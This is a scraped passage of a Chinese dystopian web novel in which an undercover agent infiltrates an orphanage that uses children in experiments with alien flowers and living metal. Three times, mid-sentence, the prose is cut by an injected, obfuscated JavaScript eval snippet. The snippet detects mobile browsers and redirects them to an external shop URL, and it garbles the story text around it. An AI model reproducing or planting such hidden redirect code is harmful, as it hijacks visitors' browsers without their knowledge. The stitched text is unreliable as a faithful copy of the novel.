一个视频放出来,上面都是关于喜山内部的环境,教室、宿舍、活动区,从表面上看,没有异常。 “举报人,田雪,二十四岁,喜山福利院新入职的生活辅导员,工作不到三个月。” 赵随石示意车尔切换到当事人的照片,“她于今日凌晨,通过总局公布的匿名举报通道提交了线索,但随后主动要求转为实名,并在值班人员联系后,于半小时前亲自来到了总局接待点,留下了这份详细陈述。” 田雪样貌清秀,眉头不展,声音有压抑不住的恐惧和急切,“我刚来没多久,发现这里的孩子比我之前接触的孩子都要安静,我本来很开心,可接触的越多,我越觉得孩子不对劲,他们太小心翼翼了,在我面前他们会伪装快乐。直到上周,我偶然听到他们在洗手间说悄悄话。一个孩子问另一个:‘你上次见到‘那个’了吗?’另一个很兴奋地小声说:‘见到了!好漂亮!亮晶晶的!院长爷爷说,那是送给乖孩子的奖励。’” “我当时没太在意,以为是什么新玩具或者漂亮装饰,但后来,我陆续在不同的孩子口中,听到了类似的对话。关键词总是‘见到’、‘漂亮’、‘香味’,有时直接说‘花’,我们那里怎么可能有这么稀罕的东西。” “我开始留心。我发现,每隔一两周,院长会亲自挑选几个好看的孩子,在下午活动时间带他们离开福利院,说是去见‘关心他们的好心人’,因为有概率被收养,孩子们都很期待。被带走的孩子,有时当天回来,有时会隔一两天。回来的孩子,有的会沉默好几天,有的会悄悄和玩伴分享,‘看到了很漂亮的东西’。” “可我从未见过真正被成功‘收养’的孩子离开,福利院对外和对内是两种说辞,对外的说法是,对领养家庭的要求很高,这是对孩子们负责的表现。可内部被领养的孩子高于对外说的。我问过负责档案的大爷,他总是含糊其辞,说对孩子好才是最重要,绝口不提那些消失的孩子去了哪里。” “是的,我要用到消失两个字,我曾按照领养的地址去找过,那里什么也没有。” “我是听到赵随石部长的一番话,才想到异花的,这太巧合了,所以我认为喜山福利院一定有什么问题。” “我本来选择的是匿名举报,因为我不想失去我的工作,也不想惹上麻烦,员工那么多,他们能视而不见,我又能做什么呢?可赵部长在记者会上说会向举报者提供保护措施。我决定说出来,我不想后悔,拜托你们,还孩子一个安全的世界。” 全场安静。 “如果真如她所说,拿孩子当挡箭牌什么的……”杨理火抓了一把头大,“那真是该死啊。” 赵随石的目光扫过三人:“田雪的举报没有实证,但逻辑清晰,确有可能,根据孩子们的描述,与异花某些变种或活体金属融合体的特征有潜在吻合。接待处直接把案子转到我们这里,也是有这样的考量在,异警部的同事也收到了配合我们的任务,调出相关的背景资料。” 车尔把资料投影,“喜山福利院成立超过二十年,是中心区规模较大的民办福利机构,主要接受被遗弃的,残缺的孩子。末日后,生育率居高不下,加之异能觉醒的不确定性导致一些家庭抛弃‘弱异能’或‘无价值’孩子,这类机构压力一直很大。院长余营营,七十岁,在福利事业领域有相当声望,多次获得区级表彰,与一些慈善企业、公益组织关系密切。” “我们不排除拿孩子实验的可能。”赵随石冷声道, “实验?”容贤心头一紧,想起十六区地下实验室那些融合场景。 “我们怎么做?直接突查?”杨理火问。 “不行。”赵随石摇头,“他们在外走的都是合法程序,我们仅仅靠一个举报是做不了什么的。不能一击即中,就会打草惊蛇。” “必须要有确切的证据,必须要见到‘异花’。” “田雪。”容贤忽然开口,“她愿意实名举报,是不是可以配合我们找证据。” “没错。”赵随石转过身,“车尔,你立刻联系接待点,以‘补充举报细节、确保举报人安全’为由,秘密将田雪带过来,我要亲自和她谈。” “是。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100696|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “理火,让你的人查一查他们私下会接触的地点。” “明白,交给我。”杨理火眼中闪过锐光,这是他的专长领域。 “容贤。”赵随石看向她,“你准备一下。如果田雪适合配合,你就以确保她的安全守在她身边。” “没问题。” 赵随石肯定道,“你的外貌可以迷惑他人。”顿了下,“记住,随机应变,必要时暴露你的身份,不要让自己陷入危险。” 容贤点头,“好。” 她看着那些孩子的照片,从他们脸上,她看到了十六区的自己。 一种沉甸甸的东西压在心里,在十六区,被抛弃是常态,弱者被淘汰、活下来已经很幸运,长大很奢侈。那种残酷是赤裸裸的。 只是没想到在光鲜亮丽的中心区,对弱者的姿态也没有改变。 “这样很糟糕,是不是?”赵随石问。 “嗯。”容贤沉着脸,“我会抓住他们的。” “会的。” 赵随石低声道,“会有那一天的。” 强大的力量,应该用在正确的地方,容贤就是那股力量。 “去准备吧,养好精神,还有很多事等着你去做。” “是。” …… 几小时后,车尔传回消息,田雪已情绪稳定,思路清晰,对福利院内部情况熟悉,并且表现出强烈的意愿配合调查,唯一的要求是确保孩子们的安全。 杨理火那边也初步有了一些发现,“喜山近三年的几笔大额捐赠,都来自同一家的轻银公司,他们旗下主要是医药健康。” 线索指向一个谁也不想看到的真相。 “初步判断,田雪可信,且具备配合条件。”赵随石看向容贤,“我们需要一个身份,让你能合理进入福利院,进行至少为期三到五天的近距离观察,田雪会作为你的接应和内部信息提供者。” “什么身份?”容贤问。 “短期实习志愿者。社区定期向各个单位企业派遣学生进行社会实践,杨理火会准备一份全新的身份资料。” “你的任务重点是保护田雪和孩子的安全,找出异花在福利院流动的证据。田雪会给你提供内部资料。” “非常时期用非常手段,对付他们,不需要手下留情。” “明白。”容贤深吸一口气。 “这是你的新身份资料。”车尔递过来一个薄薄的电子身份卡和一部经过特殊改装、外表普通的手机,“里面已经植入相关背景信息,以及和田雪的单向加密联络通道。你的名字是‘白容’,社会工作学院二年级学生。” 容贤接过卡片,认真看了遍,确保没问题就收起来。 “明天一早,你以‘白容’的身份,去喜山福利院报到。”赵随石下达最终指令,“小心行事,容贤,你会看到什么,我们谁也不敢确定,如果是虚惊一场,对我们来说是好事,可如果这里面藏着是罪恶…那么,比异花更危险的就是人心。” 哪怕他知道容贤很厉害,可人心深不可测,唯有小心更小心。 12. 那扇门 “你叫白容是吧?” “是,我就是。”容贤把资料袋放在桌面上,上面有关于社区学院的印章。 “那行,资料我先给你存着,离开时记得来取。”坐着的琳达姐接过袋子,随手翻了翻里面几页基础信息表,然后背过身,将三个志愿者的资料并排放到一个不透明柜子里,她仔细关好,锁了起来。 她拿起内线电话:“王姐,新志愿者到了,你带她们转转,安排宿舍。先熟悉吃住,再做事。”挂断后,转向并排站着的三个年轻女孩,脸上挂着笑,“这几天跟着王姐,她资历老。有解决不了的事,找她或者找我。叫我琳达姐就行。” “好,琳达姐。”三人异口同声。 容贤余光扫过身边两人,她们是真正的学生,陶来贝和曾果,来自五区,资料显示她们与江铃同校。 此刻两人脸上带着初来乍到的紧张和些许兴奋。 “你好,我叫陶来贝,她叫曾果,我们都是从五区来的。”陶来贝是个活泼性子,主动开口,声音轻快,“真幸运我们分到一起,第一次出远门,人生地不熟的,有个伴儿就不怕了。”曾果点点头,“是啊是啊。” “白容。”容贤伸手与她们浅浅一握,随即收回,并不多言。 陶来贝和曾果默契的对视一眼,眨了眨眼,不约而同的想,好高冷。 王姐很快出现,五十岁上下,面相温和,确定是她们后,说,“跟我来。” 她的话不多,领着三人穿过主楼安静的走廊,周围的墙壁刷着深绿色,上面有各种各样的小动物铅笔画,一开始还算有童趣,到后面,简笔画的颜色更丰富,也更相似。 容贤不动声色地观察,偶尔有工作人员低头快步走过,彼此间无声点头,连眼神交流都稀少。 陶来贝还在问王姐问题,敏感的曾果握住她的手。 餐厅在附楼一层,正是午休时间,零星几个员工在用餐。长条餐桌排列整齐,每个人都埋头在自己的餐盘里,咀嚼声轻微。 没有大声喧哗,大家都很守餐时不语的规则,甚至连碗筷碰撞声都刻意放轻。 容贤等人得到来引起他们的注意,不过他们都没特意上前打招呼,只是吃完后和王姐点了点头。 “来餐厅只能走这条路,别走错了。”王姐打了饭菜,指了个角落的空桌,“以后你们就在这儿吃。记住,院里讲究安静,吃饭就是吃饭,别影响他人。”她顿了顿,目光扫过三人,“做好分内事,陪好孩子,其他不用多问,也不用多管。” 容贤见她们有些不自在,往前一步,拿起盖饭走到角落处让她们坐下,“好的,我们记住了。” 她们的识趣让王姐很满意。 宿舍在隔壁楼的一层,是个四人间,目前只住她们三个。 条件很好,干净开阔,有厨房,洗衣间,应有尽有。 “下午你们可以四处看看,但别离开太远,晚上院长回来看你们,他很重视志愿者的看法,你们到时实话实说。明天一早,带你们去见孩子们。”王姐交代完,就离开房间。 门一关,陶来贝就松了口气,瘫坐在床上,“我的天,太紧张了,这气氛,不愧是中心区,讲文明,有礼貌。” “可能就是管理很严吧。”曾果小声说,从包里翻出水杯,“听说中心区的机构都这样,讲究效率,不废话。” “来对了,也难怪咋那一直没发展起来,光是餐厅不让说话就做不到,更别说其他了,就是太冷漠了点。”陶来贝若有所思,“江铃学姐当初来中心区是不是也想过这些。” 说到江铃,她们都沉默了,曾果难受道,“她当时一定很难吧,一个人。” 容贤默默整理着自己的床铺,将几件不起眼的衣物叠好。她听到江铃的名字,动作未停,心里却起了波澜。 她们都没心情吃晚饭。 等到晚上八点,院长余营营特意来了一次宿舍,和她们来了次会面。 老人满头银发,一身简朴的黑衣,笑容慈祥,眼神温和,握着每个人的手,询问家乡、学业,说些鼓励的话。 他称赞陶来贝和曾果的母校“出人才”,对“白容”来自七区表示“不容易,要好好锻炼”。 面对赞美,容贤配合人设露出感动的表情,不过没坚持住,背对着老人一秒垮脸。 整个场面很是热烈,笑声不断。容贤往老人身后看,直挺挺的站着四五个人,有两个身形高壮,令两个配合着院长说笑,这气氛组怎么看都不太对。 田雪也在场,作为心理辅导员助理负责记录。 她坐在侧面的小桌后,低头写着什么,始终未与志愿者们有任何眼神接触。 在余营营问及容贤家庭情况时,田雪一直在写的手点了点笔。 她在提醒容贤,要小心这些问题。 容贤的答案早已背熟,七区,父母普通技工,家庭和睦,想见世面。 语气平稳,带着一些憧憬和锐气。 余营营听罢,笑着点头,不再多问,转而说起福利院的情况,说需要给孩子造船,这条船会带他们去探索茫茫大海…… 一些漂亮的场面话。 整个会见不过二十分钟,对容贤来说就是一场温和的审查。 深夜,万籁俱寂。 容贤在凌晨两点悄然起身,她的计划是先找一找这里有没有密室一类的地方。 避开走廊转角微弱的夜灯,福利院的平面图和田雪提供的监控盲点路线刻在她脑中。 她目标是一扇没有标识、总是上锁的铁门,可疑的地方。 她落地几乎没有声音,像猫一样从角落消失。 福利院的夜晚静得反常,连虫鸣都听不见,一些白天没有闻到的味道也蔓延四方。 铁门紧锁,是最新的电子密码锁,容贤想了想,还是没有破坏,集中异能从缝隙往里探。 熟悉的黑暗,没有声音,没有生命气息,一些正在发光的液体? 容贤皱眉,门后似乎是个向下的通道,但更深处被什么东西阻隔了,她的感知无法穿透。 一无所获。 她没有纠结,按原路返回。这只是第一晚,不要被发现。她全程没有触发任何警报,没有遇到任何人。 这应该是好事,可她心里有些不安,总觉得自己遗漏了什么。 第二天清晨,早餐时,一个自称后勤的男员工坐到她们这桌。 “叫你小白好吗?听说你是七区来的?路上辛苦吧?家里都挺好?”他像是普通的拉家常,也顺便报了自己的名字,“啊,你还不知道我叫什么吧,我姓安,你叫我安师傅就行了。” 容贤停下筷子,按昨晚回答余营营的版本又说了一遍,细节分毫不差,甚至补充了一点七区最近降温的闲话。 李哥听着,点点头,没再多问,转而和陶来贝、曾果聊起五区的小吃。 气氛轻松。 可容贤看到,这位安师傅离开时,对不远处餐桌的王姐几不可察地摇了摇头。 看来还是在怀疑。 容贤心一冷,这福利院的问题可能比她想的还要严重,否则也不会一而再再而三地来问。 正式工作开始,容贤被分到学龄前儿童活动区,陶来贝和曾果在隔壁。 孩子们大多很安静,听从指令,玩游戏也按部就班。 几个孩子极度亢奋,很快他们就跑的无影,容贤要去找,生活老师说要释放天性,不用强行约束他们。 还有几个孩子眼神偶尔会飘向窗外,或者某个固定方向,很快又收回来,和她对视来不及躲,只好朝她甜甜一笑。 陶来贝带一个小女孩画画时,女孩突然小声说:“姐姐,你知道漂亮花花是什么样的吗?我昨天见过。” 陶来贝一愣,刚想问,女孩却被另一个走过来的老员工叫走,说是要去做个别辅导。 女孩立刻闭紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109005|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴巴,跟着走了。 陶来贝心思不算细腻,可也能感觉出不对劲来,花?这里怎么可能有花。她脸色发白,勉强稳住心神,完成这一次绘画课。 和曾果和容贤聚在一起,她才敢说出来,“花……那个孩子和我说她见过花,可是这不是很奇怪吗?联想到之前江学姐的事……我…” “没这回事!”曾果急忙打断她,看下四周,没别的人,低声说,“可能就是印像!过去还有留下的照片,弄成3D那种也未尝不可,我们只是新来的志愿者,过几天就要走了,其他的,就当做不知道吧……”她比陶来贝更早感觉这里的异常,可她手无缚鸡之力,能安全离开就好了。 她们选择了沉默,将疑惑和恐惧压下去,更加小心地只做“分内事”,甚至有意避开与个别敏感孩子的单独接触。 容贤将这一切看在眼里。她利用这两个“谨慎”的同伴作为掩护。 当陶来贝和曾果因为害怕而刻意与某些孩子或区域保持距离时,容贤便以“替班”或“帮忙”的名义,自然地填补那些空档。 她不多话,只是安静地陪伴,帮孩子捡起掉落的玩具,整理散乱的图书。她观察哪个孩子总被特定员工单独叫走,记住他们返回后细微的情绪变化,有的更沉默,有的眼底会有短暂的茫然。 下午的自由活动时间,容贤负责照看五六个孩子在乐园玩耍。 田雪装作路过,对她说:“白容,能麻烦你带小小去一趟三楼的资源储藏室吗?王姐需要一套新的画本,钥匙在我这儿,但我要去接个电话。小小认得路。” 叫小小的女孩,正是是陶来贝接触过那个说漂亮花花的女孩。 “好。”容贤接过田雪递来的钥匙,在他人眼下完成一次对话。 田雪牵起小小的手,放到容贤手里,指尖轻轻捏了女孩一下。 小小抬头看了眼她,眼睛弯起来。 “小小,带白容姐姐去三楼拿画本,好吗?”田雪宛然道。 小小微微点头。 去三楼的路,小小走得很慢,走在前面给她引路,她不走主楼梯,而是带着容贤穿过一条堆放着清洁工具的狭窄侧廊,来到一扇不起眼的木门。 小小停下,指了指门。 容贤用钥匙打开门。里面是个普通的杂物间,堆着旧桌椅、体育器材。小小却钻了进去,熟练地绕过一堆垫子,走到最里面的墙角。 那里有个落满灰的柜子。 她蹲下身,伸出手,在柜子底部一个隐蔽的角落按了一下。 “咔哒。” 轻微的机括声,这是一个档案柜,它旁边的墙壁,原本看起来严丝合缝的墙面,向内滑开一道约半米宽的缝隙,露出后面向下的、昏暗的楼梯通道。 一股明显的香味溢了出来,容贤对这个味道并不陌生。 小小退后一步,紧紧贴着容贤的腿,她浑身冰凉,微微发抖。她仰起脸,眼睛里充满了惊惧,她清楚知道这底下是什么。 容贤蹲下身,平视着她,用气声问:“下面,有花?” “嗯。”小小细声细气,像是害怕惊扰到地下怪物。 通道深处,隐约传来一声轻微的、像是金属门闭合的闷响。 容贤拍了拍小小的肩膀,将她轻轻推向杂物间门口,示意他待在外面。 “你可以吗?” “相信姐姐,姐姐很厉害的。” 容贤深吸一口气,将身体贴近墙壁,侧身无声地溜进了那香味弥漫的缝隙里。 楼梯向下延伸,拐了个弯,尽头,隐约有微弱的光晕透出。 容贤站在那框着异花的有机玻璃面前。 确实如孩子所说,那是一朵非常漂亮的花,它已经成熟,张狂的伸展着自己的躯体。 它连接着另一个玻璃罐,定眼一看,那里面是一团血雾,还有几节白骨还未溶解。 容贤面无表情地拍下了这一幕。 13. 追逐 “姐姐!” “呜…唔…放开我!姐姐快救我!” 尖厉的哭喊打破了深寒寂静的地下。 容贤想都没想,直接往楼梯口跑,见小小的身影就要被从门缝隙站出来的粗壮胳膊拉出去,她异能随心所动,撞开了那胳膊薄弱处。 咔嚓一声,那胳膊再也无法抓住小小,无力的垂了下来,整个人失去平衡向后栽倒,重重倒在地上,门重新碰住。 容贤一把将吓得浑身发抖的小小捞进怀里,孩子冰凉的小手死死攥住她的衣襟,眼泪大颗滚落,浸湿了她的手指,“我不知道……为什么会这样……田雪老师让我带你来的,之前我来几次都没被发现……” “我知道了,这不是你的错。”容贤的声音压得极低,却异常平稳,带着奇异的安抚力量。她迅速扫视周围,她所在的是一个方形地,连接着向下的楼梯和她进来的密道口。 外面是刻意压低的、密集的脚步声,沉稳、有序,不止一人,至少二十个。看来,从她踏入密室那一刻,他们就开始行动了。 她自认伪装的还可以,那是田雪暴露了吗?容贤还不敢直接下定论,王姐那看似和善的面容下,有冰冷审视,从一开始,她们就一直在试探。 陶来贝和曾果因为单纯的恐惧和“不多事”而平安过关,是她还不够小心吗?因为她不合时宜的行为,福利院如此谨慎,以至于她和田雪无意中入了她们设好的局。 “白容,”一个女声从外面传来,是王姐,她的语气没有半分温和,“你还不出来吗?你已经被包围了,不管你是谁的人,来到福利院,就得守福利院的规矩。” 她在等,等白容慌乱,等她自己走出来。 她认为白容是一个好奇心太重的年轻人,可能是一名记者或者是对手派来的间谍,对于刚才白容露出的那一手,她根本不在意,她带来的这些人各个都是强异能。 “不出来也可以,我们会进去,可就不会像现在这样好说话了。” 容贤低头看向怀里的小小,孩子脸色惨白,但眼神里还带着一丝信赖。她迅速做出决断。 “没事的,别怕,小小。”她用气声快速说道,“你能再帮我一个忙吗?” 小小用力点头,眼泪还在掉,却咬紧了嘴唇。 容贤从贴身口袋里摸出那个经过改装、看起来像廉价装饰品的纽扣式记录仪,迅速按下侧面一个极隐蔽的按钮,将它塞进小小衣服内侧一个不起眼的小口袋里。 “听着,小小,待会儿我冲出去引开他们。你等这里彻底安静了,从我们进来的地方原路返回,保护好它,除了我之外,谁也不许给。” 小小再次用力点头,紧紧捂住藏了东西的口袋位置。 “乖。”容贤摸了摸她冰凉的头发,然后将她轻轻放到最阴暗的角落,周围摆上杂物,用桌子挡住。 做完,她不再看小小,深吸一口气,全身肌肉警惕,异能已经随时准备爆发。 “砰—!” 巨响在封闭空间内回荡。 外面的人已经按捺不住,正在强行破门。 “在下面!她进去了!”外面的脚步声瞬间变得急促杂乱。 容贤压低身子,紧紧盯着门,门轰然被炸开,她如一只飞燕从中穿出,将门又堵了上。 她移动太快了,配合异能,一脚一拳都有种雷霆之势,锐不可当。 “拦住她!”王姐厉喝的声音响起。 他们一拥而上,容贤速度不减,在即将撞上时,身体凌空跃起,踩在他们头上,肩膀上,翻身落地。 被她踩到的人异能尽散,软倒在地,王姐见状,顿觉不好,她连忙和琳达打电话,让她多调点人来。 容贤毫不停留,福利院的建筑结构图她还有印象,她专挑偏僻、岔路多的区域跑,不断制造声响,吸引着越来越多的人来追。 福利院的警报并未拉响,看来,对方更想将事情控制在“内部处理”的范畴,这给了容贤辗转的空间,但也意味着,她将陷入一对多的境地。 身后是杂沓的脚步声、压抑的呼喝、以及偶尔传来的,异能激发时特有的能量波动。容贤很强,可对方人海战术,就是要将她拖死。 容贤将速度提升到极致,在迷宫般的走廊、废弃的活动室、堆满杂物的储物间之间穿梭。她片刻不敢停留,她的能量活跃度已经到了训练时的极致。 她如游鱼一般滑不溜秋,别说抓住,在她身上留下伤痕都不容易。 福利院因她一人,开始乱了。 * 在福利院主楼顶层,有间布置典雅、隔绝了所有喧嚣的会客室内。 院长余营营脸上慈祥的笑容分毫未减,正亲自为坐在主位上的客人斟茶,客人背对着他,望着楼下,“今天可真热闹。” “一点小插曲,无伤大雅。” “哦?是吗?” “院里来个不守规矩的老鼠,处理掉就好了。”余营营语气轻松,并不觉得把人说成老鼠有什么问题。 “这是老鼠还是老虎呢?”客人的声音低沉,带着一种久居上位的漠然,“余老,您这个院子到底放着什么,您比我更清楚,可别大意了,否则,就会被看似是老鼠实则是老虎给吃掉。” “不管是老鼠还是老虎,来到院子里她只能是任人宰割的鱼。”余营营呵呵笑着,“不过您放心,给您的礼物早已准备妥当,是最新一批里融合度最高、也最温顺的一个,心智植入很成功,他会是您最得力的工具,也能成为您书房里一件有趣的陈设。而且,按照您的要求,与二号活体金属的初步兼容测试也通过了,就算是最后他没有什么用了,还可以重新回炉重造。” 客人但笑不语,举起茶杯,抿了一口茶水。 就在这时,会客室的门被轻轻敲响,王姐的身影出现在门口,脸色有些难看,她先是对客人恭敬地欠身,然后快步走到余营营身边,附耳低语了几句。 余营营脸上的笑容淡了下去,花白的眉毛微微蹙起,“还没抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112464|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到?这么多人,抓不住一个小姑娘?” 王姐声音压得更低:“那女孩不简单,异能很强,我们的人每一个能抓住她,她肯定有备而来,对建筑结构很熟悉,我们的人又不敢闹出太大动静,怕惊动其他无关人员,所以……” “废物!”余营营从牙缝里挤出两个字,声音大了些,他特意看了眼客人。 客人缓缓放下茶杯,茶杯在托盘上发出叮的一声,“看来,今天不是个收货的好日子。” 他伸手打断余营营想要解释的话,“余老,您应该清楚一个道理,做事不能着急,尤其是我们之间的这种生意事,更不能马虎了,等您什么时候打扫好房间,再请客也不迟。” “这…还请您留步,很快我们就解决了。”余营营急忙起身挽留。 但客人已经径直向门口走去,步伐稳健,没有丝毫停留的意思,“我不喜欢意外。” 路过王姐身边时,他略一停顿,语气和缓,“处理好尾巴。我不希望听到任何不该有的传闻。” “是,请您放心!”王姐浑身发冷,深深低下头。 余营营脸色铁青,目送着客人往天台走,坐上了小型私人飞机,消失在空中。 他猛地转向王姐,脸上的慈祥荡然无存,暴躁道,“还愣着干什么?让福利院能动的人都给我动起来,挖地三尺也要找出来!我倒想看看这个人是什么人,偏偏来坏我的好事。” “是!” …… 容贤背靠着冰冷粗糙的砖墙,望着天空,就在刚刚,她看到了一架飞机从主楼的飞走,她视力不错,能看出那是什么样式的。 她的额发被汗水浸湿,脸颊蹭上灰尘,衣服紧贴在皮肤上,衣服后背被勾破,胳膊上有些擦痕。 她的手摩擦着手腕上的绿宝石,整个福利院屏蔽了额外的信号,想要发出信号,必须用福利院本身就有的信号塔,那就代表她的位置会暴露,因此,她只能关掉手机。 天色已暗,她所在的地方蜘蛛网遍布,灰尘很厚,一时半会没有人会发现她在这里,但四面八方都是搜索的人声和手电晃动的光柱。 在往前走,就是福利院的铁网,上面缠着电丝。硬闯出去,动静太大,瞬间就会暴露。 她需要时机,一个混乱的、足以掩盖她翻越出去的时机。 她大脑飞速时,整个福利院的灯骤然熄灭,又快速亮起,像是电路出现了短暂的故障。 搜索的光柱和呼喝声出现了混乱和迟疑。 虽然不知道发生了什么,但容贤知道,机会来了! 她毫不犹豫地冲向围墙,在距离墙壁还有两三米时猛然蹬地跃起,她的异能破坏掉了上面的电路。 “滋啦……” 微弱的电火花一闪,容贤的动作如猫一样敏捷,避开其他仍带电的部分,轻盈落地,她悄无声息的转身,向着与总局约定的备用汇合点,全力奔去。 她心系小小的安危,她慢一步,小小就离危险更近一步。 14. 保护 喜山福利院宿舍,门从外面被反锁。 陶来贝和曾果紧紧抱在一起,蜷缩在靠墙的床铺角落,身体抑制不住地发抖。几个小时前,她们还在为福利院压抑的气氛不安,现在,命运直接给她们重重一击。 她们面临着被关押、审问、软禁的处境。 她们怎么也想不明白,事情怎么会变成这样? 琳达就坐在门边的椅子上,翘着腿,正悠闲地摆弄着自己手指上一枚不小的金戒指。昏黄的灯光下,她的表情很放松,甚至带着点无聊。 “别怕呀,”琳达眼皮都没抬,声音懒洋洋的,“就是找个人而已。找到了,大家都能轻松。” 找人?找谁?白容吗?陶来贝心脏砰砰直跳。从下午自由活动后,她们就没再见过白容,突然被王姐带来的人关回宿舍,接着琳达进来,把门一锁,开始了盘问。 她们把能说的都说了。 记忆里,白容做事认真,有点冷淡,和她们交流不多,陪孩子时很耐心,除此之外,没有任何异常。 可琳达似乎并不满意,反复问询,试图从她们的言语中找出漏洞。 陶来贝鼓起所剩无几的勇气,声音发颤,“琳达姐,白容,她到底做了什么?为什么要找她?她是不是…出事了?” 琳达已经没什么耐心,抬起头,看向她们,眼睛冷下来,“这个问题,你们真该问问她本人。为什么非要给我们大家找不痛快呢?” 她叹了口气,显得很无奈,“唉,我也知道,你们俩大概率是无辜的,被牵连的倒霉蛋,我也不想这么对你们,可架不住上头的人怀疑啊。谁让你们偏偏跟她分在一组,一起来的呢?所以啊,听话,乖一点。接下来问什么,就老老实实答什么,对你们没什么坏处。” “可我们已经把知道的都说了!”陶来贝有些激动地重复,眼圈红了,“我们跟她真的不熟!你们还要我们怎么样?” 曾果用力捏了捏陶来贝的手,示意她冷静。 她自己深吸一口气,强迫狂跳的心平复下来,直视琳达,“琳达姐,你既然心里清楚我们和她没关系,那关着我们也没用。不如放了我们,我们也可以帮忙留意,帮忙找她。”她顿了顿,观察着琳达的表情,小心地加了一句,“如果你们能轻易找到她,现在也不会在这里问我们了,对吧?” 琳达重新打量起曾果,存在感低了点,还没怎么注意到她,没想到看的明白。倒是比只会哭的陶来贝有用。 “帮忙?”琳达嗤笑一声,“你能帮什么忙?不添乱就不错了。” “我们可以跟孩子聊天,孩子们对我们没什么防备,也许能听到点你们大人听不到的消息。”曾果努力让自己的声音听起来诚恳,“天色已晚,白容如果还在院里,总要吃饭、喝水、躲藏,或许我们来找,会有不同的效果。” 她这是在赌,赌对方有找白容的坚决,赌对方愿意尝试任何可能的方法,也赌自己和陶来贝在对方眼里柔弱无知的形象足够有欺骗性。 琳达似乎开始犹豫,和其他人对视。 她并不相信曾果她们能找到人,可上头催得紧,院里从来没有遇到这么棘手的人,余院长那里压力很大…… 量她们也翻不出什么浪。如果真能提供点线索,未尝不可。 “行啊,”琳达站起身,拍了拍曾果的脸,“给你们个机会,照常‘工作’,但要去我指定的区域,多跟孩子聊聊。今晚等你们的好消息,啊,对了,我还要提醒你们一句,如果人找不到,就好好和家人道个别。” 门重新关上,脚步声远去。 陶来贝眼泪终于掉下来:“果果,我们怎么办?她最后说的什么意思,是要我们死在这里吗?” “嘘!”曾果一把捂住她的嘴,确定外面没声音后,才松开手,压低声音急促地说,“现在哭没用!这里不对劲,白容肯定是发现了什么,才被她们追。” “那我们真的帮她们找白容?”陶来贝小声抽噎着。 “缓兵之计!”曾果脸上闪过一丝决意,“不答应,我们现在就可能出事。白容…她可能属于另一个势力的人,也可能警察,是好还是坏,我不知道,但现在看来,福利院有问题!我们现在最要紧的,是找机会安全离开这里,然后把我们知道的说出去!” “可是怎么离开?她们肯定盯着我们……” “找机会,制造机会。”曾果咬着嘴唇,“只有今晚了,” 陶来贝和曾果在两名员工的陪同下,和孩子们互动, 她们和几个指定的孩子玩耍,据说和白容来往最多。 陶来贝内心充满恐惧和抗拒,但想到曾果的话,只能强打精神。陪一个小孩画画时,她发现这个孩子总是偷偷瞄向堆放旧玩具的角落,眼神有着说不出的冷酷。 趁着陪同员工暂时走开接电话的间隙,陶来贝鼓起勇气,用极低的声音问:“艾达,你刚才为什么看那里?” 艾达手一抖,蜡笔掉了。他飞快地看了一眼门口,在陶来贝蹲下捡时,气声道,“都不见了,田老师在跑……” 都不见了?都有谁?田老师?是田雪?! 陶来贝心跳如鼓。她环顾四周,见艾达手指向那个堆放旧玩具的角落指了指,很快就当做什么也没说,安静的画起了画。 陪同员工回来了,眼神狐疑地扫过来。陶来贝镇定地回望。 陶来贝和曾果短暂的接触了一下,她把艾达的话说给了曾果听。 曾果扫了那堆满杂物的角落一眼,若有所思,田雪么,会是她吗?之前也没听琳达说抓住田雪。 陶来贝六神无主,“我们要和琳达说吗?” “不行!”曾果断然否定,“告诉了,艾达就危险了。而且我们可能就打草惊蛇了。我们得自己先去看看!” 两人利用去卫生间的机会,短暂甩开了几步远的陪同,恰好她们也走了神,没注意她们的离开,溜到了那间活动室附近。 那角落堆满了灰尘和破损的积木、娃娃,她们小心地翻找,心脏正没有规律的乱跳。 就在曾果把沉重的木马抬起,里面传来轻微的“吱呀”声,一块看似固定的墙板,开始松动,露出后面一个狭窄的、仅供孩子钻过的缝隙,一股甜腥气飘了出来。 两人对视一眼,都看到了对方眼中的震惊。 缝隙深处传来极其细弱的抽泣声。 陶来贝听出那是孩子的哭声,就要往里钻,曾果一把拉住她,“冷静一点,那说不定是引诱我们的馅饼!” “那我们就这么干站着?万一是真的小孩在哭……”陶来贝眼圈红了,“果果,我们都做到这份上了,没道理退缩了。” 曾果的手僵住了。是啊,都到这时候了。 挣扎只持续了几秒。曾果深吸一口气:“好,我们就看一眼,确定情况,我们就得想办法报警。” 